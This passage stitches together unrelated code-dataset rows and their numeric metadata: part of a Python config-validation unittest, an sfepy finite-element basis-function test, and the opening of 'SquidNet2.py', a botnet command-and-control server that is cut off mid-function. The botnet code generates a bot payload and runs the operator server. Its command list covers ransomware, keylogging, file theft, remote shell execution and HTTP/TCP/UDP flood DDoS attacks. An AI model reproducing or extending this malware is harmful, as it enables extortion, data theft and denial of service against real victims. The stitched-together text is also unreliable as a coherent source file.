self.test_load_config(config_key='secret_key', config_value=1.0, invalid=True)
def test_load_secret_key_as_bool(self):
self.test_load_config(config_key='secret_key', config_value=True, invalid=True)
def test_load_secret_key_as_bytes(self):
self.test_load_config(config_key='secret_key', config_value=b'secret', invalid=True)
def test_load_secret_key_as_str(self):
self.test_load_config(config_key='secret_key', config_value='secret', invalid=False)
def test_load_secret_key_as_list(self):
self.test_load_config(config_key='secret_key', config_value=[], invalid=True)
def test_load_secret_key_as_dict(self):
self.test_load_config(config_key='secret_key', config_value={}, invalid=True)
def test_load_csrf_header_name_as_int(self):
self.test_load_config(config_key='csrf_header_name', config_value=2, invalid=True)
def test_load_csrf_header_name_as_float(self):
self.test_load_config(config_key='csrf_header_name', config_value=1.0, invalid=True)
def test_load_csrf_header_name_as_bool(self):
self.test_load_config(config_key='csrf_header_name', config_value=bool, invalid=True)
def test_load_csrf_header_name_as_bytes(self):
self.test_load_config(config_key='csrf_header_name', config_value=b'secret', invalid=True)
def test_load_csrf_header_name_as_str(self):
self.test_load_config(config_key='csrf_header_name', config_value='secret', invalid=False)
def test_load_csrf_header_name_as_list(self):
self.test_load_config(config_key='csrf_header_name', config_value=[], invalid=True)
def test_load_csrf_header_name_as_dict(self):
self.test_load_config(config_key='csrf_header_name', config_value={}, invalid=True)
def test_load_csrf_header_type_as_int(self):
self.test_load_config(config_key='csrf_header_type', config_value=2, invalid=True)
def test_load_csrf_header_type_as_float(self):
self.test_load_config(config_key='csrf_header_type', config_value=1.0, invalid=True)
def test_load_csrf_header_type_as_bool(self):
self.test_load_config(config_key='csrf_header_type', config_value=True, invalid=True)
def test_load_csrf_header_type_as_bytes(self):
self.test_load_config(config_key='csrf_header_type', config_value=b'secret', invalid=True)
def test_load_csrf_header_type_as_str(self):
self.test_load_config(config_key='csrf_header_type', config_value='secret', invalid=False)
def test_load_csrf_header_type_as_list(self):
self.test_load_config(config_key='csrf_header_type', config_value=[], invalid=True)
def test_load_csrf_header_type_as_dict(self):
self.test_load_config(config_key='csrf_header_type', config_value={}, invalid=True)
def test_load_csrf_in_cookies_as_int(self):
self.test_load_config(config_key='csrf_in_cookies', config_value=2, invalid=True)
def test_load_csrf_in_cookies_as_float(self):
self.test_load_config(config_key='csrf_in_cookies', config_value=1.0, invalid=True)
def test_load_csrf_in_cookies_as_bool(self):
self.test_load_config(config_key='csrf_in_cookies', config_value=True, invalid=False)
def test_load_csrf_in_cookies_as_bytes(self):
self.test_load_config(config_key='csrf_in_cookies', config_value=b'secret', invalid=True)
def test_load_csrf_in_cookies_as_str(self):
self.test_load_config(config_key='csrf_in_cookies', config_value='secret', invalid=True)
def test_load_csrf_in_cookies_as_list(self):
self.test_load_config(config_key='csrf_in_cookies', config_value=[], invalid=True)
def test_load_csrf_in_cookies_as_dict(self):
self.test_load_config(config_key='csrf_in_cookies', config_value={}, invalid=True)
def test_load_csrf_methods_as_int(self):
self.test_load_config(config_key='csrf_methods', config_value=2, invalid=True)
def test_load_csrf_methods_as_float(self):
self.test_load_config(config_key='csrf_methods', config_value=1.0, invalid=True)
def test_load_csrf_methods_as_bool(self):
self.test_load_config(config_key='csrf_methods', config_value=True, invalid=True)
def test_load_csrf_methods_as_bytes(self):
self.test_load_config(config_key='csrf_methods', config_value=b'secret', invalid=True)
def test_load_csrf_methods_as_str(self):
self.test_load_config(config_key='csrf_methods', config_value='secret', invalid=True)
def test_load_csrf_methods_as_empty_list(self):
self.test_load_config(config_key='csrf_methods', config_value=[], invalid=False)
def test_load_csrf_methods_as_list_int(self):
self.test_load_config(config_key='csrf_methods', config_value=[1, 2, 3], invalid=True)
def test_load_csrf_methods_as_tuple_int(self):
self.test_load_config(config_key='csrf_methods', config_value=(1, 2, 3), invalid=True)
def test_load_csrf_methods_as_set_int(self):
self.test_load_config(config_key='csrf_methods', config_value={1, 2, 3}, invalid=True)
def test_load_csrf_methods_as_list_str(self):
self.test_load_config(config_key='csrf_methods', config_value=['1', '2', '3'], invalid=True)
def test_load_csrf_methods_as_tuple_str(self):
self.test_load_config(config_key='csrf_methods', config_value=('1', '2', '3'), invalid=True)
def test_load_csrf_methods_as_set_str(self):
self.test_load_config(config_key='csrf_methods', config_value={'1', '2', '3'}, invalid=True)
def test_load_csrf_methods_as_list_valid_str(self):
self.test_load_config(config_key='csrf_methods', config_value=['GET', 'POST', 'DELETE'], invalid=False)
def test_load_csrf_methods_as_tuple_valid_str(self):
self.test_load_config(config_key='csrf_methods', config_value=('GET', 'POST', 'DELETE'), invalid=False)
def test_load_csrf_methods_as_set_valid_str(self):
self.test_load_config(config_key='csrf_methods', config_value={'GET', 'POST', 'DELETE'}, invalid=False)
def test_load_csrf_methods_as_dict(self):
self.test_load_config(config_key='csrf_methods', config_value={'key': 'value'}, invalid=True)
if __name__ == '__main__':
unittest.main()
| 42.514286
| 107
| 0.774194
| 1,166
| 7,440
| 4.48542
| 0.089194
| 0.136138
| 0.094646
| 0.134608
| 0.870746
| 0.865583
| 0.863289
| 0.848375
| 0.81262
| 0.727916
| 0
| 0.00874
| 0.108065
| 7,440
| 175
| 108
| 42.514286
| 0.779385
| 0.036425
| 0
| 0.084746
| 0
| 0
| 0.109218
| 0
| 0
| 0
| 0
| 0
| 0.050847
| 1
| 0.40678
| false
| 0
| 0.033898
| 0.016949
| 0.466102
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
73572319cc6fcfc43587a25bef2254492c258bbb
| 11,926
|
py
|
Python
|
tests/test_fem.py
|
olivierverdier/sfepy
|
83aefb7b33ea17f4acb83388ba8bc7314c77616c
|
[
"BSD-3-Clause"
] | 1
|
2015-07-30T13:47:23.000Z
|
2015-07-30T13:47:23.000Z
|
tests/test_fem.py
|
olivierverdier/sfepy
|
83aefb7b33ea17f4acb83388ba8bc7314c77616c
|
[
"BSD-3-Clause"
] | null | null | null |
tests/test_fem.py
|
olivierverdier/sfepy
|
83aefb7b33ea17f4acb83388ba8bc7314c77616c
|
[
"BSD-3-Clause"
] | null | null | null |
import os.path as op
import numpy as nm
import sfepy
from sfepy.base.testing import TestCommon
test_bases = {
'2_3_P1'
: nm.array([[[ 1. , 0. , 0. ]],
[[ 0. , 1. , 0. ]],
[[ 0. , 0. , 1. ]],
[[ 0.6, 0.2, 0.2]]]),
'2_3_P1_grad'
: nm.array([[[-1., 1., 0.],
[-1., 0., 1.]],
[[-1., 1., 0.],
[-1., 0., 1.]],
[[-1., 1., 0.],
[-1., 0., 1.]],
[[-1., 1., 0.],
[-1., 0., 1.]]]),
'2_4_Q1'
: nm.array([[[ 1. , 0. , 0. , 0. ]],
[[ 0. , 1. , 0. , 0. ]],
[[ 0. , 0. , 1. , 0. ]],
[[ 0. , 0. , 0. , 1. ]],
[[ 0.64, 0.16, 0.04, 0.16]]]),
'2_4_Q1_grad'
: nm.array([[[-1. , 1. , 0. , -0. ],
[-1. , -0. , 0. , 1. ]],
[[-1. , 1. , 0. , -0. ],
[-0. , -1. , 1. , 0. ]],
[[-0. , 0. , 1. , -1. ],
[-0. , -1. , 1. , 0. ]],
[[-0. , 0. , 1. , -1. ],
[-1. , -0. , 0. , 1. ]],
[[-0.8, 0.8, 0.2, -0.2],
[-0.8, -0.2, 0.2, 0.8]]]),
'3_4_P0' : nm.ones((5, 1, 1)),
'3_4_P0_grad' : nm.zeros((5, 3, 1)),
'3_8_Q0' : nm.ones((9, 1, 1)),
'3_8_Q0_grad' : nm.zeros((9, 3, 1)),
'3_8_Q1'
: nm.array([[[ 1. , 0. , 0. , 0. , 0. , 0. , 0. ,
0. ]],
[[ 0. , 1. , 0. , 0. , 0. , 0. , 0. ,
0. ]],
[[ 0. , 0. , 1. , 0. , 0. , 0. , 0. ,
0. ]],
[[ 0. , 0. , 0. , 1. , 0. , 0. , 0. ,
0. ]],
[[ 0. , 0. , 0. , 0. , 1. , 0. , 0. ,
0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 1. , 0. ,
0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 1. ,
0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ,
1. ]],
[[ 0.512, 0.128, 0.032, 0.128, 0.128, 0.032, 0.008,
0.032]]]),
'3_8_Q1_grad'
: nm.array([[[-1. , 1. , 0. , -0. , -0. , 0. , 0. , -0. ],
[-1. , -0. , 0. , 1. , -0. , -0. , 0. , 0. ],
[-1. , -0. , -0. , -0. , 1. , 0. , 0. , 0. ]],
[[-1. , 1. , 0. , -0. , -0. , 0. , 0. , -0. ],
[-0. , -1. , 1. , 0. , -0. , -0. , 0. , 0. ],
[-0. , -1. , -0. , -0. , 0. , 1. , 0. , 0. ]],
[[-0. , 0. , 1. , -1. , -0. , 0. , 0. , -0. ],
[-0. , -1. , 1. , 0. , -0. , -0. , 0. , 0. ],
[-0. , -0. , -1. , -0. , 0. , 0. , 1. , 0. ]],
[[-0. , 0. , 1. , -1. , -0. , 0. , 0. , -0. ],
[-1. , -0. , 0. , 1. , -0. , -0. , 0. , 0. ],
[-0. , -0. , -0. , -1. , 0. , 0. , 0. , 1. ]],
[[-0. , 0. , 0. , -0. , -1. , 1. , 0. , -0. ],
[-0. , -0. , 0. , 0. , -1. , -0. , 0. , 1. ],
[-1. , -0. , -0. , -0. , 1. , 0. , 0. , 0. ]],
[[-0. , 0. , 0. , -0. , -1. , 1. , 0. , -0. ],
[-0. , -0. , 0. , 0. , -0. , -1. , 1. , 0. ],
[-0. , -1. , -0. , -0. , 0. , 1. , 0. , 0. ]],
[[-0. , 0. , 0. , -0. , -0. , 0. , 1. , -1. ],
[-0. , -0. , 0. , 0. , -0. , -1. , 1. , 0. ],
[-0. , -0. , -1. , -0. , 0. , 0. , 1. , 0. ]],
[[-0. , 0. , 0. , -0. , -0. , 0. , 1. , -1. ],
[-0. , -0. , 0. , 0. , -1. , -0. , 0. , 1. ],
[-0. , -0. , -0. , -1. , 0. , 0. , 0. , 1. ]],
[[-0.64, 0.64, 0.16, -0.16, -0.16, 0.16, 0.04, -0.04],
[-0.64, -0.16, 0.16, 0.64, -0.16, -0.04, 0.04, 0.16],
[-0.64, -0.16, -0.04, -0.16, 0.64, 0.16, 0.04, 0.16]]]),
'3_4_P2'
: nm.array([[[ 1. , -0. , -0. , -0. , 0. , 0. , 0. , 0. , 0. ,
0. ]],
[[-0. , 1. , -0. , -0. , 0. , 0. , 0. , 0. , 0. ,
0. ]],
[[-0. , -0. , 1. , -0. , 0. , 0. , 0. , 0. , 0. ,
0. ]],
[[-0. , -0. , -0. , 1. , 0. , 0. , 0. , 0. , 0. ,
0. ]],
[[-0.08, -0.12, -0.12, -0.12, 0.32, 0.16, 0.32, 0.32, 0.16,
0.16]]]),
'3_4_P2_grad'
: nm.array([[[-3. , -1. , 0. , 0. , 4. , 0. , 0. , 0. , 0. , 0. ],
[-3. , 0. , -1. , 0. , 0. , 0. , 4. , 0. , 0. , 0. ],
[-3. , 0. , 0. , -1. , 0. , 0. , 0. , 4. , 0. , 0. ]],
[[ 1. , 3. , 0. , 0. , -4. , 0. , 0. , 0. , 0. , 0. ],
[ 1. , 0. , -1. , 0. , -4. , 4. , 0. , 0. , 0. , 0. ],
[ 1. , 0. , 0. , -1. , -4. , 0. , 0. , 0. , 4. , 0. ]],
[[ 1. , -1. , 0. , 0. , 0. , 4. , -4. , 0. , 0. , 0. ],
[ 1. , 0. , 3. , 0. , 0. , 0. , -4. , 0. , 0. , 0. ],
[ 1. , 0. , 0. , -1. , 0. , 0. , -4. , 0. , 0. , 4. ]],
[[ 1. , -1. , 0. , 0. , 0. , 0. , 0. , -4. , 4. , 0. ],
[ 1. , 0. , -1. , 0. , 0. , 0. , 0. , -4. , 0. , 4. ],
[ 1. , 0. , 0. , 3. , 0. , 0. , 0. , -4. , 0. , 0. ]],
[[-0.6, -0.2, 0. , 0. , 0.8, 0.8, -0.8, -0.8, 0.8, 0. ],
[-0.6, 0. , -0.2, 0. , -0.8, 0.8, 0.8, -0.8, 0. , 0.8],
[-0.6, 0. , 0. , -0.2, -0.8, 0. , -0.8, 0.8, 0.8, 0.8]]]),
'3_4_P2B'
: nm.array([[[ 1. , -0. , -0. , -0. , 0. , 0. ,
0. , 0. , 0. , 0. , 0. ]],
[[-0. , 1. , -0. , -0. , 0. , 0. ,
0. , 0. , 0. , 0. , 0. ]],
[[-0. , -0. , 1. , -0. , 0. , 0. ,
0. , 0. , 0. , 0. , 0. ]],
[[-0. , -0. , -0. , 1. , 0. , 0. ,
0. , 0. , 0. , 0. , 0. ]],
[[-0.16192, -0.20192, -0.20192, -0.20192, 0.23808, 0.07808,
0.23808, 0.23808, 0.07808, 0.07808, 0.8192 ]]]),
'3_4_P2B_grad'
: nm.array([[[-3. , -1. , 0. , 0. , 4. , 0. , 0. ,
0. , 0. , 0. , 0. ],
[-3. , 0. , -1. , 0. , 0. , 0. , 4. ,
0. , 0. , 0. , 0. ],
[-3. , 0. , 0. , -1. , 0. , 0. , 0. ,
4. , 0. , 0. , 0. ]],
[[ 1. , 3. , 0. , 0. , -4. , 0. , 0. ,
0. , 0. , 0. , 0. ],
[ 1. , 0. , -1. , 0. , -4. , 4. , 0. ,
0. , 0. , 0. , 0. ],
[ 1. , 0. , 0. , -1. , -4. , 0. , 0. ,
0. , 4. , 0. , 0. ]],
[[ 1. , -1. , 0. , 0. , 0. , 4. , -4. ,
0. , 0. , 0. , 0. ],
[ 1. , 0. , 3. , 0. , 0. , 0. , -4. ,
0. , 0. , 0. , 0. ],
[ 1. , 0. , 0. , -1. , 0. , 0. , -4. ,
0. , 0. , 4. , 0. ]],
[[ 1. , -1. , 0. , 0. , 0. , 0. , 0. ,
-4. , 4. , 0. , 0. ],
[ 1. , 0. , -1. , 0. , 0. , 0. , 0. ,
-4. , 0. , 4. , 0. ],
[ 1. , 0. , 0. , 3. , 0. , 0. , 0. ,
-4. , 0. , 0. , 0. ]],
[[-0.8048, -0.4048, -0.2048, -0.2048, 0.5952, 0.5952, -1.0048,
-1.0048, 0.5952, -0.2048, 2.048 ],
[-0.8048, -0.2048, -0.4048, -0.2048, -1.0048, 0.5952, 0.5952,
-1.0048, -0.2048, 0.5952, 2.048 ],
[-0.8048, -0.2048, -0.2048, -0.4048, -1.0048, -0.2048, -1.0048,
0.5952, 0.5952, 0.5952, 2.048 ]]]),
}
class Test(TestCommon):
@staticmethod
def from_conf(conf, options):
from sfepy.fem.geometry_element import GeometryElement
gels = {}
for key in ['2_3', '2_4', '3_4', '3_8']:
gel = GeometryElement(key)
gels[key] = gel
return Test(conf=conf, options=options, gels=gels)
def test_base_functions_values(self):
"""
Compare base function values and their gradients with correct
data. Also test that sum of values over all element nodes gives one.
"""
from sfepy.base.base import ordered_iteritems
from sfepy.fem.poly_spaces import PolySpace
ok = True
for key, val in ordered_iteritems(test_bases):
gel = self.gels[key[:3]]
diff = key[-4:] == 'grad'
order = int(key[5])
force_bubble = key[6:7] == 'B'
ps = PolySpace.any_from_args('aux', gel, order,
base='lagrange',
force_bubble=force_bubble)
dim = ps.geometry.dim
coors = nm.r_[ps.geometry.coors, [[0.2] * dim]]
bf = ps.eval_base(coors, diff=diff)
_ok = nm.allclose(val, bf, rtol=0.0, atol=1e-14)
## if not _ok:
## nm.set_printoptions(threshold=1000000, linewidth=65)
## print bf.__repr__()
if not diff:
_ok = _ok and nm.allclose(bf.sum(axis=2), 1.0,
rtol=0.0, atol=1e-14)
self.report('%s: %s' % (key, _ok))
ok = ok and _ok
return ok
def test_base_functions_delta(self):
"""
Test :math:`\delta` property of base functions evaluated in the
reference element nodes.
"""
from sfepy.base.base import ordered_iteritems
from sfepy.fem.poly_spaces import PolySpace
ok = True
for key, gel in ordered_iteritems(self.gels):
for order in range(11):
ps = PolySpace.any_from_args('aux', gel, order,
base='lagrange',
force_bubble=False)
bf = ps.eval_base(ps.node_coors)
_ok = nm.allclose(nm.eye(ps.n_nod),
bf.squeeze(),
rtol=0.0, atol=(order + 1) * 1e-14)
self.report('%s order %d (n_nod: %d): %s'
% (key, order, ps.n_nod, _ok))
if not _ok:
import pdb; pdb.set_trace()
ok = ok and _ok
return ok
| 41.409722
| 81
| 0.231176
| 1,352
| 11,926
| 1.975592
| 0.110207
| 0.274803
| 0.277424
| 0.242606
| 0.565331
| 0.506177
| 0.466492
| 0.441782
| 0.398353
| 0.386372
| 0
| 0.228389
| 0.552826
| 11,926
| 287
| 82
| 41.554007
| 0.272455
| 0.026245
| 0
| 0.333333
| 0
| 0
| 0.016717
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.014493
| false
| 0
| 0.048309
| 0
| 0.082126
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
735c54ffe2ebc0735fe1d38bd7b73a7aea04d1fa
| 442,325
|
py
|
Python
|
SquidNet2/SquidNet2.py
|
DrSquidX/Ethical-Hacking-Scripts
|
b383634d16065527cf02f9c7a05f0e1b87734eff
|
[
"MIT"
] | 29
|
2021-05-23T19:09:18.000Z
|
2022-03-25T03:07:57.000Z
|
SquidNet2/SquidNet2.py
|
DrSquidX/Hacking-Scripts
|
b383634d16065527cf02f9c7a05f0e1b87734eff
|
[
"MIT"
] | 1
|
2021-11-04T03:32:44.000Z
|
2021-11-06T09:53:12.000Z
|
SquidNet2/SquidNet2.py
|
DrSquidX/Ethical-Hacking-Scripts
|
b383634d16065527cf02f9c7a05f0e1b87734eff
|
[
"MIT"
] | 6
|
2021-08-23T16:04:34.000Z
|
2022-03-07T01:07:15.000Z
|
import socket, threading, hashlib, os, datetime, time, sqlite3, shutil, urllib.request, json, sys
class BotNet:
"""Main Class for the BotNet. Every single line of server code, payload code is inside of this class.
There are many functions inside of the class, where they have many different uses. They vary in usefullness
and effectiveness, nonetheless they all contribute to the overall functioning of the server. It uses a lot
of logic and similar code from DatCord, which was a server that truly displayed my advancements in network
programming, where it also is an improvement from the previous SquidNet. SquidNet2 does not have as many bugs,
and also not as many useless functions. This script remains unfinished(I worked on it a lot on an airplane DX),
so there could be many problems that could possibly occur."""
def logo(self):
"""Logo of the script, nothing too special here."""
logo = """
/\\
//\\\\
//__\\\\
//____\\\\
\\\____//
\\\__//
[|__|]
[|__|]
[|__|]
[|__|]
[|__|]
[|__|]
[|__|]
/) [|__|] (\\
//\_________[|__|]________/\\\\
))__________||__||_________((
<_/ [ \/ ] \_>
|| || ||
|| || ||
|| || ||
|| || ||
|| || ||
|| || ||
_________ .__ .||_||_||__ __ ________ _____ .________
/ _____/ ________ __|__| __|||/\ \ _____/ |_\_____ \ ___ __/ | | | ____/
\_____ \ / ____/ | \ |/ __ | / | \_/ __ \ __\/ ____/ \ \/ / | |_ |____ \
/ < <_| | | / / /_/ |/ | \ ___/| | / \ \ / ^ / / \\
/_______ /\__ |____/|__\____ |\____|__ /\___ >__| \_______ \ \_/\____ | /\ /______ /
\/ |__| \/ || || \/ \/ \/ |__| \/ \/
|| || ||
|| || ||
|| || ||
|| || ||
|| || ||
|| || ||
\\\ || //
\\\||//
\\\//
____-\/-____
-__-
/ \\
Advanced Botnet By DrSquid
[+] Github: https://github.com/DrSquidX"""
return logo
def __init__(self, ip, port, version, external_ip=None, external_port=None, admin_user="admin", admin_pass="adminpassword12345", logfile="log.txt", enc_key=b'iC0g4NM4xy5JrIbRV-8cZSVgFfQioUX8eTVGYRhWlF8=', ftp_dir="Bot_Files", ransomware_active=True):
"""Initiation of the class. Most of every important variable is mentioned here. This function is very important,
as it has the definitions of all of the important variables needed for functionality, and also for specification
of different things. Many things are defined here, such as the socket that will be used to handle all of the connections,
as well as all of the smaller, yet very important variables that would hinder the performace and functionality of
the script, if they were to be missing. There is also the use of some functions, as they are needed to help configure
different things inside of the server."""
self.ip = ip
self.port = int(port)
self.downloading = False
self.ddosing = False
self.enc_key = enc_key
self.botdownload = None
self.ftp_dir = ftp_dir
self.ransomware_active = ransomware_active
self.external_ip = external_ip
self.external_port = external_port
self.admin_online = False
self.logfile = logfile
self.sqlfilename = "Server.db"
self.filetransfer = False
self.sqlconnected = False
self.sending_file = False
self.auto_ban = False
self.keylogging = False
self.botinfofile = "botinfo.txt"
self.timetoautoban = 0
botinfo = open(self.botinfofile,"w").close()
self.max_connpersec = 20
self.connpersec = 0
self.conncount = 0
self.timer = 1
self.conf_dbfile()
file = open(self.logfile, "w").close()
self.log(self.logo())
self.version = version
if self.external_ip is None:
self.external_ip = self.ip
if self.external_port is None:
self.external_port = self.port
if self.ransomware_active:
self.quot = ""
else:
self.quot = "'''"
self.payload = self.gen_payload()
self.payloadfile = open("SquidBot.py","w")
self.payloadfile.write(self.payload)
self.payloadfile.close()
if self.ftp_dir not in os.listdir():
os.mkdir(self.ftp_dir)
self.log(f"""[({datetime.datetime.today()})][(INFO)]: Server Started on {self.ip}:{self.port}
[({datetime.datetime.today()})][(INFO)]: Bots/Admins will connect to: {self.external_ip}:{self.external_port}
[({datetime.datetime.today()})][(INFO)]: Payload Bot Script Generated in {os.path.join(os.getcwd(), "SquidBot.py")}""")
self.botnum = 1
self.connlist = []
self.botinfo = []
self.adminconn = None
self.focusing = False
self.focus_conn = None
self.focus_botname = ""
self.admin_username = admin_user
self.admin_password = hashlib.sha256(admin_pass.encode()).hexdigest()
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shutil.copyfile(os.path.join(os.getcwd(),self.payloadfile.name), os.path.join(os.getcwd(),self.ftp_dir,self.payloadfile.name))
self.log(f"[({datetime.datetime.today()})][(SERVER)]: Payload file has been transferred to the FTP directory(for extraction of Admin).")
def exec_sql_cmd(self, file, cmd):
"""Optimization code made for executing commands on db files. The reason it was made was for optimization
purposes. This excerpt of code would be pretty much all over the place in this script if it weren't a
function, and it would make the script look less elegant and clean with all of the repitition."""
output = ""
try:
db = sqlite3.connect(file)
cursor = db.cursor()
cursor.execute(cmd)
output = cursor.fetchall()
db.commit()
cursor.close()
db.close()
except Exception as e:
self.log(f"[({datetime.datetime.today()})][(RESETSQL)]: Error with SQL Database file '{self.sqlfilename}': {e}, reconfiguring as a precaution.")
self.conf_dbfile()
return output
def conf_dbfile(self):
"""This function helps configure the database file that contains the IP whitelists and banlists.
As you can see, there is the previous function that was used to optimize the code. What the function
truly does, is create the Database file if it doesn't already exist, and create the tables containing
the IP banlist and whitelist if they do not exist."""
try:
file = open(self.sqlfilename,"rb")
except:
file = open(self.sqlfilename,"wb")
file.close()
self.exec_sql_cmd(self.sqlfilename, "create table if not exists ipbanlist(ip)")
self.exec_sql_cmd(self.sqlfilename, "create table if not exists ipallowlist(ip)")
def return_iplist(self, list_type):
"""This gets a list of the IPs, although you need to specify whether it is from the IP Whitelist
or the Banlist."""
banned_ips = self.exec_sql_cmd(self.sqlfilename, f"select ip from ip{list_type}list")
new_ip_list = []
for i in banned_ips:
new_ip_list.append(i[0])
return new_ip_list
def add_ip(self, ip, list_type):
"""This adds an IP to the specified list type(either Whitelist or Banlist)"""
self.exec_sql_cmd(self.sqlfilename, f"insert into ip{list_type}list values('{ip}')")
def remove_ip(self, ip, list_type):
"""This removes an IP to the specified list type(either Whitelist or Banlist)"""
self.exec_sql_cmd(self.sqlfilename, f"delete from ip{list_type}list where ip = '{ip}'")
def help_msg(self):
"""The help message sent to the admins if they request it. It contains all of the information about
the commands, and also the commands themselves. The arguements are provided, so that the user can
get a sense of how to actually use the commands effectively."""
return """\n[(SERVER)]: Info about each command:
[+] Utilities:
[+] !whitelistip <ip> - Adds an IP to the whitelist, allowing them to connect to the server during a DDoS Attack.
[+] !unwhitelistip <ip> - Removes an IP from the whitelist.
[+] !banip <ip> - Bans an IP from the server, therefore having them kicked every time they try to connect to the server.
[+] !unbanip <ip> - Removes an IP from the server.
[+] !focusconn <botname> - Only be able to send or see messages from a single bot.
[+] !stopfocus - Stops focus mode.
[+] !getipwhitelist - Obtains the list of the IP Addresses in the Whitelist.
[+] !getipbanlist - Obtains the list of the IP Addresses in the Banlist.
[+] !getbotinfo - Displays information from each of the bots.
[+] !help - Displays this message.
[+] !startftp - Start file transfer protocol between the admin and the server(to get any transferred Bot Files).
[+] !togglelisten - Toggles the setting for the server to listen for connections or not.
[+] Bot Commands:
[+] !filedownload <file> - Download a file on a single bot computer(requires focus mode).
[+] !download <file> <link> - Make the bot download a file from the internet.
[+] !mkdir <dir> - Create a folder inside of the bots working directory.
[+] !delfolder <dir> - Remove a folder inside of the bots working directory.
[+] !createfile <filename> - Create a file in the bots.
[+] !delfile <filename> - Delete a file in the bots.
[+] !encfile <filename> - Encrypt a file inside of the bots.
[+] !decrypt <filename> - Decrypt a file that has been encrypted.
[+] !open <filename> - Open a file inside of the bots working directory.
[+] !viewfilecontent <file> - View the contents of a file in the bots directory.
[+] !writefile <filename> - Open and write inside of a file inside of the bots.
[+] !sqlconnect <sqlfile> - Connect to a Sqlite3 Compatable Database file in the bots.
[+] !changedir <dir> - Changes the bots working directory to the one specified(use '%user%' as the user for multiple bots).
[+] !stopsql - Disconnect from the connected Database file.
[+] !stopwrite - Close writing mode and return to normal.
[+] !getcwd - Get the current directory of the bots.
[+] !keylog - Activate keylogging to see the bots keystrokes.
[+] !stopkeylog - Stops the keylogging.
[+] !listdir - List all of the items in the bots working directory.
[+] !ransomware - Activates the ransomware program inside of the bots.
[+] DDoS Attack Commands:
[+] !httpflood <website> <delay> - Make the bots conduct an HTTP Flood Attack on the specified Website.
[+] !tcpflood <ip> <port> <delay> <pkt_size> - Make the bots concuct a TCP Flood Attack on the specified IP and Port.
[+] !udpflood <ip> <port> <delay> <pkt_size> - Make the bots concuct a UDP Flood Attack on the specified IP and Port.
[+] !stopatk - Stops the current DDoS Attack that is happening(only one can happen at a time).
[+] Note: Any other instructions will be run as shell commands on the remote computers."""
def file_tranfer_help_msg(self):
"""If the user decides to go onto FTP mode, they will be able to extract files that were extracted
from the server via the connected bots. This is the help message sent to the user, if they request help.
Like the previous help message, it has all the commands and the information and parameters about them,
for the user to use these commands effectively."""
return """\n[(SERVER)]: Info about each command in FTP Mode.
[+] !help - Displays this message.
[+] !fileinfo - Displays all of the files inside of Server's directory.
[+] !download [filename] - Downloads a specified file inside of the Server's directory.
[+] !listdir - Gets all of the files inside of the Server's directory.
[+] !stopftp - Return to the Botnet and controlling the bots.
[+] Note: You will be unable to send messages to the bots in FTP Mode. You can return to normal by inputting '!stopftp'.
"""
def start(self):
"""This function is vital for the functionality of the server, because it actually starts it!
It simply tries to bind the server to the IP and Port that were provided in the config file.
If it doesn't work, an error message will be displayed, so that the user can get a sense of
the problem."""
working = False
try:
self.server.bind((self.ip, self.port))
working = True
except Exception as e:
self.log(f"[({datetime.datetime.today()})][(ERROR)]: There was an error with binding the server: {e}. Try to change some of the variables in the Config files if needed.")
if working:
self.listener = threading.Thread(target=self.listen).start()
def conn_persec_timer(self):
"""Function used for the not-so-perfect Anti-DDoS System. It measure the connections per second, and
decides whether to take action against them(by that I mean banning them)."""
while True:
time.sleep(1)
self.timer += 1
if self.connpersec >= self.max_connpersec:
self.connpersec = self.max_connpersec + 5
if self.max_connpersec <= self.connpersec:
self.timetoautoban += 1
if not self.auto_ban and self.timetoautoban >= 2:
self.log(f"[({datetime.datetime.today()})][(ANTI_DDOS)]: Setting 'self.auto_ban' variable to: True")
self.auto_ban = True
else:
if self.auto_ban:
self.log(f"[({datetime.datetime.today()})][(ANTI_DDOS)]: Setting 'self.auto_ban' variable to: False")
self.auto_ban = False
self.timetoautoban = 0
if self.timer >= 60:
self.timer = 1
self.connpersec = 1
self.conncount = 0
try:
self.connpersec = self.conncount / self.timer
except:
pass
def config_conn_vars(self):
"""Optimization code made for less repitition."""
self.connpersec = self.conncount / self.timer
if self.connpersec >= self.max_connpersec:
self.connpersec = self.max_connpersec + 5
self.conncount += 1
if self.max_connpersec <= self.connpersec:
if not self.auto_ban and self.timetoautoban >= 2:
self.log(f"[({datetime.datetime.today()})][(ANTI_DDOS)]: Setting 'self.auto_ban' variable to: True")
self.auto_ban = True
else:
if self.auto_ban:
self.log(f"[({datetime.datetime.today()})][(ANTI_DDOS)]: Setting 'self.auto_ban' variable to: False")
self.auto_ban = False
self.timetoautoban = 0
def listen(self):
"""A very important function for the server. It listens to all of the connections, if it is able to, as
the 'self.listening' variable can be toggled on and off, making the server unable to listen for connections.
It also has some of the Anti-DDoS code, where it also closes any connections inside of the banlist, and
allows connections in the whitelist into the server without any interruption."""
self.log(f'[({datetime.datetime.today()})][(LISTEN)]: Server is listening.....')
self.listening = True
connpersectimer = threading.Thread(target=self.conn_persec_timer)
connpersectimer.start()
while True:
if self.listening:
try:
self.server.listen()
conn, ip = self.server.accept()
if self.connpersec >= self.max_connpersec:
self.connpersec = self.max_connpersec + 5
if self.listening:
kicked = False
if ip[0] in self.return_iplist("ban"):
conn.close()
kicked = True
else:
if self.auto_ban:
if ip[0] in self.return_iplist("allow"):
self.config_conn_vars()
else:
self.log(f"[({datetime.datetime.today()})][(BANNING_IP)]: {ip[0]} attempted to join the server during the DDoS Attack, banning as a precaution.")
self.add_ip(ip[0],"ban")
conn.close()
kicked = True
else:
self.config_conn_vars()
if not kicked:
conn.send(f"SquidNet Server v{self.version}".encode())
handler = threading.Thread(target=self.handle, args=(conn, ip))
handler.start()
else:
conn.close()
except Exception as e:
